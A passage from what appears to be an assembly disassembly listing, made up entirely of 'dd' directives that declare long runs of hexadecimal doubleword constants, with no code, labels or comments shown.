		dd 66CB1D00h, 0EE5CB505h, 0B2801FF6h, 21A3801Bh, 9B7761BFh
		dd 0AA00B97Ch, 0CE6C7249h, 0E37A68h, 0C81B56A7h, 0BDC2EFE4h
		dd 0B1D1CF00h, 0EBD677C4h, 51D20066h, 0ECA05228h, 630044E5h
		dd 1B37FB3Fh, 3EA767h, 0F669D372h, 0FE175376h, 477CBF01h
		dd 4F8DBE3h, 3DA770h, 4CB80E3Bh, 66777605h, 0D3B58800h
		dd 0DF1CB3A3h, 966D070Bh, 0C00DF598h, 0E34657A7h, 48BE0C00h
		dd 45664963h, 104003BDh, 0A7FF4C5Fh, 0F242A01Fh, 869F7F80h
		dd 1409960h, 1E293A7Bh,	40532B38h, 0DCDD6AD9h, 96FAB200h
		dd 687574A0h, 0C12000BAh, 2B554BCCh, 0CA00CFD3h, 88DEE684h
		dd 5CA2D8h, 1C0F9BBCh, 0EE913A05h, 0FD97EA00h, 9E79981Eh
		dd 0B02B0009h, 0BFB5AFDEh, 2826065Dh, 28AD819h,	574280FDh
		dd 0A7A940F2h, 3E613F53h, 0F078CBEh, 30B3329Ah,	9D5F7536h
		dd 9CB47700h, 0ECAF7BA7h, 5D9400B9h, 0BBAC7CCEh, 52001446h
		dd 0B243D6E3h, 2EA087Ah, 0B51F2794h, 79602578h,	66F82E15h
		dd 0FD00F674h, 2C856739h, 0E0056Eh, 7A99899Fh, 8CE4B597h
		dd 806AB73Dh, 8A382D88h, 361570Ch, 85F8CDECh, 0A4A019ACh
		dd 0BE07C73Bh, 234EB474h, 0ED442600h, 17B6F402h, 95BDACh
		dd 807B17F7h, 73019D4Eh, 1CD075FFh, 4C42FA8h, 91250037h
		dd 1F482C6Ch, 330087B8h, 11C51EA1h, 0A8D1A2h, 9A07CC6Fh
		dd 3C3D06F9h, 0D41D2D00h, 84F6A93Fh, 67F312FDh,	54990304h
		dd 0C08CDDA1h, 96567A0Eh, 980630Fh, 4B15CF35h, 0F190007Fh
		dd 0E142DE9h, 331AC24Ah, 7DD980BDh, 63853076h, 2D484400h
		dd 71963BFBh, 1E150024h, 2FE55A6Dh, 0D8981C23h,	0F2EAF607h
		dd 60A062D2h, 77E2CE3Eh, 0FBB500C3h, 613323ACh,	0C4008C9Eh
		dd 661EE3B6h, 3AAB7E2h,	7780EFD3h, 9980CF64h, 0BF4CA29Ch
		dd 0BC0F706Ch, 20184CCAh, 0EE81B9DAh, 3FE8075Bh, 0AB977043h
		dd 76ED5700h, 871EA315h, 0C7807B5Ah, 59841E14h,	81EAD2h
		dd 0DED50CEh, 15BD2033h, 0AF746F13h, 48309C40h,	75F632CFh
		dd 0C961003Ch, 0EAE0EBA1h, 400C23DCh, 10EC27B9h, 78800334h
		dd 0C6F4F86Dh, 94CF00D7h, 1B1FBC4Fh, 92401D10h,	500DFFD1h
		dd 607100AEh, 4B2CDC29h, 0B600EBE8h, 0A0A258D0h, 60B157F7h
		dd 95478082h, 0B41D42DAh, 0C9C0FA96h, 0D25A368Dh, 1C180F7Dh
		dd 39808C3Ch, 6C6F8F34h, 0DCB9BEA1h, 17E4E9F3h,	0EFA5C417h
		dd 6BB6B306h, 79AD00D0h, 0CCF1B37Dh, 50001D7Fh,	33E1803Dh
		dd 0B0EDCF39h, 0A0A401D4h, 0DB99FFD7h, 19EAC04Eh, 0EE750800h
		dd 0E3978E73h, 0E4890044h, 0CC1C6779h, 9C0019C1h, 0EEC7EAF8h
		dd 68F180h, 0B073618Ch,	5DC54395h, 7F866B03h, 0B022DBB1h
		dd 0E08C51h, 455625A5h,	2AAB3878h, 0E827500h, 0D8B11F4Dh
		dd 0EFE2297Fh, 3D0D04C4h, 0C1278019h, 0D01DA3F1h, 841964B9h
		dd 0A03A5421h, 140083D3h, 85E83236h, 9287CCh, 0B90E8475h
		dd 31B2B529h, 0B444CB0Fh, 0ECEF8093h, 302A7F4Ah, 0F849ABA9h
		dd 0FF00AC66h, 0B75276E1h
		dd 5477FA99h, 5ECC8B3h,	317C78E3h, 0E74C00BEh, 0B1FBD318h
		dd 6C106443h, 69E2077Fh, 0ABD152DDh, 84C0921Eh,	0D4E80595h
		dd 0EE4118Fh, 6005B3B8h, 0D578C0E5h, 0DE00CFC3h, 9757C655h
		dd 0EEA4761Ch, 5170CF81h, 0AA2CBAE0h, 431DE164h, 0E6403627h
		dd 0DBBDE588h, 1D04002Ah, 68AA3BE9h, 122CCF99h,	0AD002C33h
		dd 4D69D9DEh, 0B57700F0h, 0C25FF7A3h, 6890F8B3h, 0CDB7AD00h
		dd 69531B62h, 1ACC2C22h, 764800C0h, 43AA5565h, 414D9100h
		dd 0CBA8AF4h, 7CE97F54h, 301701Ch, 61FC21D4h, 3D9089E2h
		dd 86396CCBh, 5D1D0052h, 0F3125ACCh, 75D204E7h,	80246ABDh
		dd 6D950624h, 0EA107200h, 5FB2280Bh, 52BF00E0h,	0E7B02E38h
		dd 0F2013DF1h, 0C3376C39h, 91E04C29h, 5CBB0031h, 5174303h
		dd 0A300C467h, 714E2ADEh, 0B47D9692h, 0C0782F74h, 4DC2CD00h
		dd 95BC80CFh, 970B00A4h, 5F244B54h, 3900C303h, 7E753256h
		dd 195831h, 571A50AAh, 0CE678C0Eh, 0AF603A00h, 8F978502h
		dd 0ED3D0315h, 0DF37D539h, 2BDE3CF8h, 3B67CB00h, 9E5D51F9h
		dd 6430021h, 0FBA9A875h, 0D660B374h, 5C649420h,	0F6AB0968h
		dd 47001223h, 6A2708D8h, 45008B98h, 0B9AA4855h,	1C8E5EC2h
		dd 80D9C39Fh, 51A5ED3Eh, 210CEEA8h, 38F84A2Bh, 58A3FD99h
		dd 0DC5E5944h, 5777F25Dh, 771939C0h, 0EC044CE1h, 70DFFAh
		dd 0C39A409Dh, 5A03E934h, 6D85CA3Eh, 2E79B9EAh,	0F68483DAh
		dd 90406062h, 190801A4h, 290D754h, 0C0327A18h, 980C3A10h
		dd 5CCC00BEh, 3584DAF5h, 2F037749h, 0A75354B8h,	0F0E193C9h
		dd 29F7C1h, 0D21BCE9Ah,	776DDB02h, 0ED3F070Fh, 601500E2h
		dd 7D7CF89h, 767B462Fh,	81860F8h, 0BFFA33DFh, 0CCC9E100h
		dd 96DC2AC5h, 0AB990022h, 37DA9F3Ch, 4707286Dh,	62CF3FC4h
		dd 93CEC130h, 603AFE7Bh, 8D5161D2h, 16007769h, 242FC2B7h
		dd 0AADD38h, 1BF709A9h,	0B235344h, 95318E0Fh, 7C1958CDh
		dd 0D6303D46h, 0C2E5EA84h, 0C4AC405Bh, 4C2FECFCh, 8500E3A7h
		dd 12E1C1DCh, 3A009EDEh, 449F86F9h, 0F616EF2h, 0BE852223h
		dd 20AB51E0h, 1307DC07h, 1EAD818Eh, 91457630h, 0CEB600C6h
		dd 0E2925390h, 5776BD07h, 0E1C4DC07h, 0B009CFEh, 83D11Fh
		dd 25342ECCh, 0C617F084h, 95D9D309h, 0D5005585h, 0BF58F697h
		dd 0EAE3C00h, 4CC8D2Dh,	0FD110003h, 0C9C7D109h,	10DE02E3h
		dd 427AF1C3h, 0E15EE8A8h, 3070F65Dh, 0E021C88Ah, 0ED00951Bh
		dd 6454D546h, 0FC3A8A0h, 0E562552Fh, 5C5843FEh,	1E8E3E4h
		dd 471E2C54h, 6213FD1Fh, 46D85000h, 32853FCh, 2E8224FEh
		dd 20031D90h, 16647E08h, 0D26CF00Fh, 145BFA55h,	9EE554FFh
		dd 81214C00h, 8E979CCBh, 19B340Ch, 731B8C2h, 0FB45C494h
		dd 875230A7h, 0BEE84821h, 0F7F78850h, 35674000h, 8A779476h
		dd 0E551007Fh, 705012FDh, 0BF000A17h, 0DF105D3Ah, 0C1A3E3h
		dd 0BD1A785Eh, 1F6551F1h, 894B3000h, 64471C70h,	0F1105C95h
		dd 61BB2500h, 140D667Bh, 820B3900h, 0B585A30Ah,	0EE53038Eh
		dd 0F37579DDh, 0AE8860A3h, 1300EDADh, 0FB5BF274h, 6C9F92h
		dd 73B9F0CDh, 4FA81763h, 0F30FDB19h, 5F303920h,	0F9C75BAh
		dd 0EDC22EB2h, 0F8DF6B80h, 2B003BF1h, 0F683D5E8h, 0F4A61B25h
		dd 399200A7h, 0C41EE971h, 35005B0Fh, 936CF53Ch,	7EE3FCFAh
		dd 800A0082h, 6A1FDE4h,	0D9008773h, 9B8F3599h, 0EAFB5689h
		dd 53014FEh, 300B07Dh, 5FA0119Eh, 0FD004DEFh, 0C9FE683h
		dd 2CB1E5h, 6BFE9094h, 4173C6A2h, 0E9DBD00h, 533CA436h
		dd 6D76007Fh, 0EC9043BBh, 0DA004206h, 0E651463Fh, 0F61173h
		dd 6A7DC644h, 9D14E1A5h, 0DDE2131Eh, 0F12AB04Ch, 2E49006Dh
		dd 0A94027D0h, 730099A4h, 83DC7E0Dh, 72AF46E5h,	0EC2008Eh
		dd 0B8E189F5h, 0B200BDA0h, 9C800742h, 0B004C81Fh, 0BB770081h
		dd 94FFB08Fh, 7A600FC9h, 3F923E10h, 0CCB10052h,	0C6220411h
		dd 0A8F26791h, 847A1500h, 0CFEB3C6Bh, 1DC2003Ah, 9A0B71F4h
		dd 0C3006E64h, 6DA04117h, 7FA268Bh, 0F0EFCCB2h,	0ADFB6322h
		dd 6A40D7B8h, 5C1B4500h, 3D35C239h, 59D50A4Ch, 0C46381h
		dd 0E84FBBB4h, 47A5806h, 2C157638h, 9B007720h, 55C621FBh
		dd 74BE285h, 6ACBD793h,	25E4D053h, 98C0E94Eh, 0F07E2FBEh
		dd 10040C0Dh, 64D8B479h, 83111D1Eh, 0EDB3B80Eh,	0BE40F086h
		dd 769AFF0h, 8081B6A8h,	7C94C039h, 0D70CF217h, 402698CAh
		dd 4658C23Bh, 0BD010EE4h, 0A11090D9h, 84838265h, 9E9AD030h
		dd 0F5188090h, 2B593A97h, 0CBD90AEAh, 8C589298h, 0A159ED12h
		dd 188FAB21h, 0E95CB181h, 0F4C4B745h, 0B6A70A76h, 0C2CD4D9h
		dd 9EB15877h, 0DE089242h, 850A3917h, 0D1122CAAh, 18586819h
		dd 8659F0B7h, 0AD3EB1FCh, 44DF448Ah, 0C2884A44h, 89461857h
		dd 9A915080h, 0BB3D5B1Eh, 6761B901h, 24E8E88Ah,	511624A0h
		dd 3204008Fh, 0C13ED668h, 0E3B87C01h, 1FAEDCFCh, 80803BEDh
		dd 8DB0CC9Fh, 0A250161Ch, 6B187AECh, 0B2E09807h, 79E031h
		dd 0C5971788h, 0D4642BB6h, 0C4587C00h, 0BCCBDFD8h, 4D6E0533h
		dd 83CAB0B4h, 0C9F0C2B5h, 0E703FD14h, 58DE10ABh, 12D838AAh
		dd 65FF8380h, 85BCC654h, 0BA4CCA1Fh, 4BE48987h,	0C5940590h
		dd 58280ED6h, 0E600C036h, 2C33B3E3h, 0E251CE00h, 87ABFE4Dh
		dd 6C8D00B4h, 7D1FC50Ah, 7803FA3Dh, 40C976CAh, 0B9C7C06Eh
		dd 106200AFh, 38E0F6C1h, 0A900CB8Eh, 0BA1FD1A5h, 0F6FD3D71h
		dd 42AA005Fh, 8CAFE06h,	0F6077639h, 0C7EC7A2Ah,	0E035B0D0h
		dd 7F20FFFh, 3A80600Dh,	4D4E2E4Bh, 0A29061Eh, 9400C69Fh
		dd 0F9680E7h, 54C039B5h, 21D8FD80h, 2C35E391h, 5FB72B00h
		dd 6F64A838h, 0FA20007Eh, 72B23E87h, 23F63CEEh,	5C45C900h
		dd 5F4C1F7Dh, 35A0041h,	0ABD7B4F4h, 6C00B191h, 0CEC09307h
		dd 1CA66D4Ah, 0C04940F0h, 0E25E8FB6h, 4600A77Dh, 2A8AE0A8h
		dd 6F183237h, 9021467Eh, 208CD819h, 0A600BB50h,	0B5A2E4D3h
		dd 0BDD224h, 92DBFECAh,	0E5CFD020h, 1DA2B4Ch, 0FAB58B8Fh
		dd 0C1FC7454h, 0C4650059h, 3E6B10B2h, 9E7D9F28h, 99A94300h
		dd 42814D07h, 20A201E2h, 0B14F3045h, 0E7BDEC7Eh, 0FA1BF100h
		dd 0CE1D892Fh, 9F410714h, 40AC704Ah, 34EF672Dh,	2565CA00h
		dd 0B496C386h, 0FFC5008Ch, 0DAE28C8h, 94009152h, 0C1093F55h
		dd 485E66F5h, 711D6083h, 0F0030323h, 53E05B7Dh,	0B2F0C5AAh
		dd 0D4EFFA01h, 404365ECh, 7D6C90F7h, 78EAEBh, 0B8D7AECFh
		dd 0B17F5B97h, 962E4500h, 8875E5A8h, 0CEFA007Ch, 95FDD383h
		dd 6703EB7Fh, 0EEDF8626h, 971FD0DBh, 0F338C15Ah, 0E02F9D3Fh
		dd 0BFE0A978h, 0F0951002h, 60E8FA8Eh, 7E4A01Ch,	3DD1547Ch
		dd 79606F88h, 35F59C25h, 0B6E91D02h, 0F593AEE7h, 0C99E2580h
		dd 0FB1C4C3Fh, 0BB3B43h, 2D46D185h, 0F66DA120h,	328E0025h
		dd 0F275AB67h, 7E59CEBAh, 0A44B1E20h, 0C959CB00h, 718128Dh
		dd 0F4BFDE3Fh, 984AA01Eh, 0AA0E7BE1h, 0A0F38CFAh, 9955410Ch
		dd 0AEB8022Ch, 76E25B01h, 0AC13F260h, 0B790D200h, 0E8ABE48Ah
		dd 0ED4F6CCh, 0CDCA1054h, 80819685h, 7BCFD867h,	9C8CA32Ch
		dd 0BDFDCE00h, 4AD59Eh,	6929C0E8h, 73A739ABh, 98A3C200h
		dd 0E925F950h, 0FE0803BBh, 13E19599h, 0CD1645C0h, 2EAE7300h
		dd 0AF8DFD06h, 1EB0038h, 76CC1FB3h, 20150C3h, 1697C5A5h
		dd 8760A60Dh, 46830041h, 0C8098165h, 0A31FD847h, 7F8EB5AAh
		dd 8C2767A5h, 0D6043A20h
		dd 8BA60057h, 59562AE1h, 0AC9AE8F6h, 897ED00Fh,	2EE460AFh
		dd 78233F7h, 4F038A7Bh,	42EC8061h, 5307366Bh, 0B2FEBB18h
		dd 6E2957B0h, 0F0D00A6h, 2D99C584h, 0BB001598h,	43305DB3h
		dd 763BDBh, 6E58F01Bh, 0C40D326Bh, 0CB08DF07h, 3360C970h
		dd 895C8Ah, 0B5060388h,	55612A4Dh, 0C1641A00h, 771BC934h
		dd 1F65E29Ah, 40DCD33Ah, 50E7CF6Eh, 9160BD2h, 50202F5Fh
		dd 57F239h, 451C8075h, 68AEA588h, 0C983510Fh, 0A740FD7Ah
		dd 0DEF33266h, 44B200FBh, 9CFAD738h, 5B60E0ACh,	63CFEA10h
		dd 8D03038Bh, 5918BCA2h, 9A371800h, 0B6FC5D6Fh,	0D80B003Eh
		dd 168AD290h, 8548F9C6h, 1FA80040h, 52B0F753h, 127329h
		dd 0D5DAE9F8h, 4D386D9h, 890B6503h, 0A07D1EBAh,	3BEE8B6h
		dd 0E4F5E334h, 0E6980A73h, 0D400913Fh, 390494EAh, 29125Ah
		dd 0C2D1CF4Ch, 5FB4FFECh, 0E007A579h, 793D8C4Eh, 4DF08331h
		dd 77694FD8h, 0AC2700E8h, 8F5AB78Bh, 5E0016BDh,	55F78DFFh
		dd 21C24Ch, 0C4A59A50h,	0C8209086h, 0C2B002ECh,	0F3701800h
		dd 0A4100849h, 0B3780067h, 254B0A72h, 0A0006D77h, 119E2FB0h
		dd 3C464035h, 0EA807BCAh, 2C8D16D4h, 2100DD45h,	0BB9357FFh
		dd 12A14F2h, 8022A8FAh,	0D4C64AC8h, 4D0726A7h, 20A3992Bh
		dd 7784D150h, 34D50F28h, 61A081C1h, 4CDCD853h, 806ECE38h
		dd 8038A865h, 0EE9EAFAh, 2807742Bh, 961CD3C0h, 84002CDDh
		dd 6ECE4AFh, 0C31F5D4Bh, 0EFBB5C2Ah, 95A5E0F0h,	4972B400h
		dd 64BD38C1h, 0B9E900CBh, 1B718E31h, 863D7C5Bh,	0E62896A5h
		dd 3E84745Dh, 0E5C052DFh, 7C231D5h, 0BB1C0EE7h,	6358C038h
		dd 67901BD2h, 7D86B800h, 0B9BE3757h, 0C4F00AEh,	1CB22996h
		dd 0A303BC39h, 0CA6279EFh, 4A5DC845h, 0CDEC3A37h, 0BF00153Ch
		dd 0AD9DFA07h, 5400DD10h, 52C6CE3Bh, 0CF7248h, 5E713C0Dh
		dd 6A0AF290h, 0AB798CA8h, 6400FEF6h, 9E7AFB5Bh,	882515h
		dd 38080A0Bh, 0C522CF46h, 71C2231Eh, 4F7E2F44h,	0DE16D80h
		dd 453F00A8h, 72794E34h, 587CFD4Dh, 49051B00h, 0E07A409Eh
		dd 52860039h, 0CFBC9CDh, 160073BEh, 0ACB03A2Eh,	4746A5h
		dd 0B8E8E550h, 36808F75h, 281C1C7Eh, 0A9575E13h, 0F6CA7400h
		dd 94D0258h, 0CEE20110h, 0FB521840h, 90DA7300h,	9B616C3Eh
		dd 0AF2C0583h, 87D20845h, 4F2EC0F3h, 890007EEh,	1FCAD351h
		dd 0C661A0Ah, 0A0A3C85Fh, 4F788F60h, 0DA84DC00h, 47E06A65h
		dd 46100F45h, 0CD60C032h, 0F6D7A3EDh, 44B7B314h, 0AC3A0080h
		dd 0A01C50B1h, 769F07BEh, 0C02B4CC0h, 98179A06h, 0CAD28800h
		dd 358FE062h, 1372F6h, 0EB3722FCh, 0A1B052ADh, 0D826F000h
		dd 87720753h, 48F21Eh, 8B4D7437h, 860EBDE8h, 57BEB30Fh
		dd 0A2C72068h, 79E03A31h, 0CC160109h, 0F110DE67h, 2135D884h
		dd 0EF41B600h, 0AAD98CB1h, 89254860h, 0CDF42300h, 1F44F995h
		dd 0F7F87500h, 3AC7CEBBh, 4B500CFh, 7225EA81h, 9B00F9F1h
		dd 14ECB6FBh, 0A0806291h, 0B939E90h, 0E1EE09F5h, 50182381h
		dd 0EC82D359h, 7519860h, 7EDF9200h, 67B41552h, 9B1C28F4h
		dd 4BB0594h, 1FDB16BCh,	0C7C412D4h, 4B8CC144h, 0F802C4Fh
		dd 80926CC1h, 14331691h, 0A6B206F1h, 3181ADFBh,	0B012F974h
		dd 0E080DD9Ah, 0C0881Bh, 20D3CB7Ah, 9C233486h, 0D0E67D2Ah
		dd 0C9D12100h, 5CF5AC2Ah, 0C1FA07FDh, 20E0FF47h, 31EE2780h
		dd 1103BA00h, 39E95404h, 7FA203F9h, 8397F6B8h, 3448E39Ah
		dd 2100BAAFh, 0EC12840Eh, 0C530D45h, 0CE4B44F4h, 5090C20h
		dd 0EBF463Ch, 61F22095h, 6436C9h, 0E0ACA33h, 104AEC41h
		dd 734527h, 1CB33C00h, 567C01CDh, 26CBA2FAh, 1D676054h
		dd 6FEBD800h, 66EF6DE8h, 0E33500E0h, 3802FBDh, 0F6001AECh
		dd 45F4754Bh, 7FDC0BFh,	92E2A919h, 4C7E9005h, 44013848h
		dd 0A893B79Bh, 2ACC2CF2h, 1F5C0CA1h, 0B63622E3h, 3ADCD514h
		dd 3AB00D3h, 0E6A254C4h, 0E487EBEh, 3B88CFFBh, 192A4A01h
		dd 2BED601Eh, 858DFC01h, 6E8CB254h, 3C0DBC8h, 13515B0Bh
		dd 25A0E4A6h, 8400A703h, 9A96B97Bh, 2168EEh, 0CDD99981h
		dd 12D0D3Ch, 44042707h,	600097B4h, 1D75D711h, 0CB68DDDEh
		dd 36099AC5h, 9FD6DA80h, 4900E27Bh, 2F21DCB8h, 778CA1h
		dd 0A62B0ACh, 5BD9AEDDh, 8915EE3Ch, 8053EB65h, 68D497ACh
		dd 797D00E2h, 51821603h, 0FD0791E0h, 6618E3A1h,	0C94308A0h
		dd 558F0040h, 0A03B8EEFh, 51005AA6h, 0FD65F068h, 907245h
		dd 7A8994CFh, 407D3F19h, 85009F78h, 8BB7DA61h, 2CD523h
		dd 0AA9D3890h, 95AB7A05h, 1F602600h, 1CE67564h,	2EF900ADh
		dd 7F30ED14h, 28C0AB27h, 5FD7F52Fh, 4089E81Fh, 29208DE3h
		dd 7B862215h, 51961330h, 80C75FFFh, 528827C1h, 0D779C674h
		dd 571051FFh, 3518C9E8h, 0B4E72999h, 0F5DBA940h, 848EB811h
		dd 1350E951h, 424C7D04h, 1D8035Fh, 1C334B1h, 29119EFDh
		dd 43298C08h, 209751A4h, 0F131C2D5h, 4E8629A1h,	29C7C998h
		dd 0C375973Bh, 1AC0FC00h, 0BD138D54h, 8179004Ah, 107FF095h
		dd 5AE0CFD2h, 8669BF00h, 48459253h, 66B400EEh, 0B98B291Ch
		dd 2B0098FAh, 900BF8FEh, 1BA1ABh, 0BAECB56Eh, 135F1C8Dh
		dd 0AB93F00h, 9645019Ch, 0DED900A6h, 0DC6C32A0h, 497054FBh
		dd 0BE0098FAh, 0D0105327h, 1C90E69h, 38DF250h, 317C4A8Eh
		dd 542F300Ch, 0FB25D900h, 26840CC4h, 0B0691F0Bh, 0C2034075h
		dd 0C88FA992h, 77978702h, 0C07199FFh, 3C1EAEh, 861CDF90h
		dd 7D980547h, 803F3A38h, 0D43BEC6Bh, 20BEE3h, 44CA9FF5h
		dd 0E431F7D9h, 5E0083FAh, 1B27F2B4h, 3ACCED37h,	708110B6h
		dd 0DED2A095h, 0FD8DB33h, 9F00B09Eh, 0B8AEFB2Eh, 12362F1h
		dd 30D3BE3Ch, 0E452D5C9h, 0D20FEDCCh, 0A0886801h, 12708B02h
		dd 3D63035Dh, 0E642A540h, 0F1B93200h, 88C638A9h, 0E5AB04CEh
		dd 0FF505313h, 3EE78200h, 16273B7Fh, 13EA5B7Dh,	8D03FA42h
		dd 886C0618h, 0FAAF90h,	80D6BB71h, 6BF5504Eh, 0B083E400h
		dd 23037414h, 26B1E638h, 508904h, 85673D19h, 9900AA3Ah
		dd 572737Fh, 11744B5h, 5CE590C4h, 0C8DB9D6Eh, 3B3CEB19h
		dd 46017509h, 0BD2CBE23h, 0CEF0D281h, 7C0101EEh, 76FDE0CBh
		dd 0CAF1C046h, 18BEA600h, 5560670Ah, 74F0C0D8h,	0A18AA52Eh
		dd 10EEB500h, 52569A4Ch, 86380083h, 24B8ACBEh, 25292C62h
		dd 67E0F0A4h, 2DCD95h, 48026DC9h, 38B17D15h, 429CF800h
		dd 16982C2Eh, 46824CDAh, 0BF283E00h, 6BCFD9B3h,	0E8958800h
		dd 0A60E50F3h, 29BA078Ch, 0D0C0B6EAh, 0D48A25C7h, 0AD735F00h
		dd 82F78FD3h, 40A61F2Bh, 0E3003CD7h, 0F5588C57h, 897072E5h
		dd 111E9609h, 91000063h, 0EE098304h, 2028006Ch,	24C3C844h
		dd 0D100D439h, 56AA98C1h, 451136h, 7AA85890h, 0A2A1A94Bh
		dd 2E00A5E2h, 68ABC5BCh, 668D87h, 9E3F98B8h, 0E3F01302h
		dd 67CE001h, 6BACA416h,	8AED4h,	211D1EB0h, 4958E2EFh, 6082CB1Fh
		dd 0A600701Ch, 2DC383AFh, 32FB00F4h, 201F9DC5h,	58287606h
		dd 83099425h, 80CC6FD7h, 77A7A12Ah, 0D4343E97h,	0C3FA2300h
		dd 1CE8BC32h, 0C5F92800h, 8891817Dh, 40930013h,	0C4AA4A24h
		dd 0CA00543Dh, 0D46F0156h, 2D79C84h, 0B294F174h, 52E03C77h
		dd 220EFBFAh, 0C0E1CF53h, 54B8D8A0h, 0A8FF09EDh, 14B078A2h
		dd 0D20E2B80h, 11415Ch,	4E44A115h, 0CCFD3AE5h, 0B2F2CB00h
		dd 85EA1EC2h
		dd 94DFA900h, 5EA77514h, 18D460A4h, 0D68458D2h,	43275407h
		dd 44C0F464h, 6DC5FFh, 523D081h, 0D14F3246h, 0C042390Eh
		dd 78614043h, 2EC340h, 0FBAF090Dh, 8BB1D238h, 0EF017273h
		dd 269CBC90h, 0F0DB5CC2h, 52BBE7h, 0D3EE6BB9h, 5366BA12h
		dd 0DBCA2B00h, 0F38CD525h, 3AC0090h, 7FAD3189h,	0B0004179h
		dd 23759C8Fh, 0E706A3h,	935813CAh, 60041C63h, 4BDB5200h
		dd 0F51665C9h, 2C1B00F1h, 7C9CB312h, 2F1FD169h,	0F71DD30Dh
		dd 39A61F00h, 0F84FF1Ch, 4AE1D8C7h, 0EEA001CFh,	8EA4BE94h
		dd 8800F7E2h, 7626659Ch, 0F510659h, 58834196h, 1B702803h
		dd 0E31536D8h, 0F85E8507h, 89707E5Bh, 0DFAFEDh,	3395E7BFh
		dd 0EEEF10CEh, 0D8697A00h, 0F6D65D8Ch, 9DB12650h, 738F80F4h
		dd 365AC4FEh, 0C3A9BC09h, 0A5A70318h, 0EA27F85Eh, 82B20009h
		dd 6E1ACF33h, 0B1008E5Ah, 2DBFCBE6h, 1287CF7h, 58C57E05h
		dd 0D0B459D9h, 0CD00865Ch, 0A89AAD7Fh, 4CF41h, 0D70DCE69h
		dd 40B17EF3h, 0E130B500h, 0C3B66ACCh, 3032E2DFh, 0E7112047h
		dd 0FF0EA98Ch, 0E0E2C6F1h, 737CCA03h, 987148h, 0DE60A338h
		dd 0D1D64AD0h, 31A78901h, 0AED7C60Eh, 2DB3AD4h,	22896EDh
		dd 0CC3975Ah, 0A69C44D8h, 9727B00h, 898E5882h, 0AFEE002Dh
		dd 7E50855Bh, 8724020h,	71A1931Dh, 742E340h, 0E8BCEE2Eh
		dd 0E0F20068h, 0F5247C2Ah, 410090DCh, 0FD93C9CBh, 1A01FCh
		dd 0EFE0BFB6h, 925E3DD5h, 42448h, 0D336AB42h, 72890B2Fh
		dd 905054FEh, 0EBD800FBh, 5915C2E9h, 2C00F476h,	37E14B9Eh
		dd 17BF11h, 975D62E0h, 2D16E8C1h, 36F03Ch, 0AF65B52Eh
		dd 411E49h, 1DC46EB2h, 6AAA5563h, 0AD6DE700h, 8B7B2124h
		dd 0A97A3E50h, 0CE2DE803h, 0F88E1C3h, 3B0B2EE7h, 435EDFh
		dd 56F1BC52h, 0D0C00B73h, 0AF802F30h, 0B20FB928h, 2E4E8E00h
		dd 0A3A1E575h, 4EF0071h, 65F59378h, 0B40ED48Ch,	29242h
		dd 0AD0E5720h, 7B9D28CDh, 781603BCh, 0FAC8E1ABh, 742BD8E8h
		dd 1A9C6300h, 0DED39D61h, 0CC300F1h, 0A2253ACBh, 3200B3A4h
		dd 89D02FC4h, 81E6Ch, 773F2BF2h, 0CE73587Fh, 0A1AE250Fh
		dd 4039CF7Bh, 0B8AF98D2h, 0E003EC0Fh, 6604013Fh, 0AB9A9F4Ah
		dd 20122077h, 0B6002298h, 259BE583h, 7D1161A5h,	8EB00E8h
		dd 8E21A2FCh, 6000EF90h, 0E19B2E5Fh, 3C6A0C80h,	0A38050B4h
		dd 9AFCFE6h, 17005E20h,	0CD23443Bh, 0BFC706h, 15F2B3A1h
		dd 0F36D3E99h, 5BB4800h, 0B83FD68Fh, 265F00EAh,	0A5D108ECh
		dd 0CC17EE49h, 0F6005736h, 5D37E45Eh, 6C170077h, 7AE24706h
		dd 0E7165BCDh, 0CC40D358h, 8DDA2A4h, 0A196002Ch, 0F6A632B0h
		dd 0ED0087F9h, 4D7E2A84h, 35346F1h, 138C75Ch, 0BDEA6A2Dh
		dd 42BB4AC3h, 465BA2E8h, 0AE200707h, 3E90FCBBh,	0C46009h
		dd 7506CFECh, 0C86F9C14h, 8A0430B0h, 0C27E7263h, 0DEB94480h
		dd 1C1B0080h, 3EA57024h, 7B01F352h, 0EEFA841h, 0D0C8408Fh
		dd 0E03D00F2h, 0B020B232h, 6158674Bh, 0C95300C4h, 1EF1401Dh
		dd 8409248Fh, 768900DFh, 0B77BC22Ah, 14E54500h,	36330EE4h
		dd 0FA290327h, 20B1879Eh, 137C23C0h, 0EC61B900h, 96662C1Ch
		dd 5EB056h, 5718ED2Dh, 0CB69F802h, 0E06FA807h, 4AD04B34h
		dd 0FD736C7h, 0ED437F9Dh, 1838F145h, 0AB6DF6D4h, 7D0E293Ah
		dd 6400C090h, 16F1A7B2h, 1F9A77h, 5E02C190h, 957D9D80h
		dd 43044000h, 3F09B9A1h, 344700A7h, 0BBCD7C9Ah,	97009BCBh
		dd 521E3668h, 0D4B19D0h, 920515B8h, 3386E424h, 0E84D9C00h
		dd 0BD213624h, 3AC400EDh, 0E42AF2AFh, 412E45FCh, 0C90048C7h
		dd 0CD1DCC83h, 821614DFh, 1E01F040h, 0A1AD509Ah, 0D49B3168h
		dd 1A0EFBF7h, 41DFB3D3h, 1337D289h, 655030h, 1183A269h
		dd 6C2BB7C3h, 81025C3Ch, 0EA3292F0h, 1FECBD3Ch,	4B270F28h
		dd 4067412Ch, 0A6D5809Dh, 30093122h, 0A22301h, 699B716Ch
		dd 465C0F5Ah, 7E003213h, 0EDF501BBh, 63970700h,	1CEFCC43h
		dd 0DCA500E5h, 0DDFEFF72h, 884CE0BDh, 4A38D6h, 7A67BF40h
		dd 161C12Bh, 48466AB5h,	748CECAFh, 0CD0BE324h, 0D61DD197h
		dd 194E0042h, 40104DDDh, 0B729909h, 4115002Fh, 39829FF7h
		dd 0FCD489h, 614B98A3h,	0F2A0C405h, 7EF92C09h, 3DB88035h
		dd 581E322h, 0D18B34E4h, 0B034C0CEh, 0CB2E5CEEh, 50008D9Ch
		dd 0D067FCAFh, 6C4A1F9Dh, 0F4EBC0D1h, 3E1B422Ah, 1171CC98h
		dd 6129CB0Fh, 0E32C2096h, 0C0086Ch, 75C120A7h, 27400AF9h
		dd 9CDE5500h, 51970422h, 0D6E700C2h, 3E86E2Ch, 0E5006607h
		dd 0A5AFF14Fh, 4B3B41h,	0A0B03847h, 5A6A733Dh, 80E2603Ch
		dd 0C40150A8h, 4DFE7Fh,	8EE924ECh, 3E9C1CEAh, 0A728500h
		dd 2C768A3Fh, 0F708070Ch, 0A17486C7h, 0F86D8F11h, 0C9A9AD6h
		dd 0AE237000h, 2C9FB059h, 719E0063h, 5892D9E5h,	2707F547h
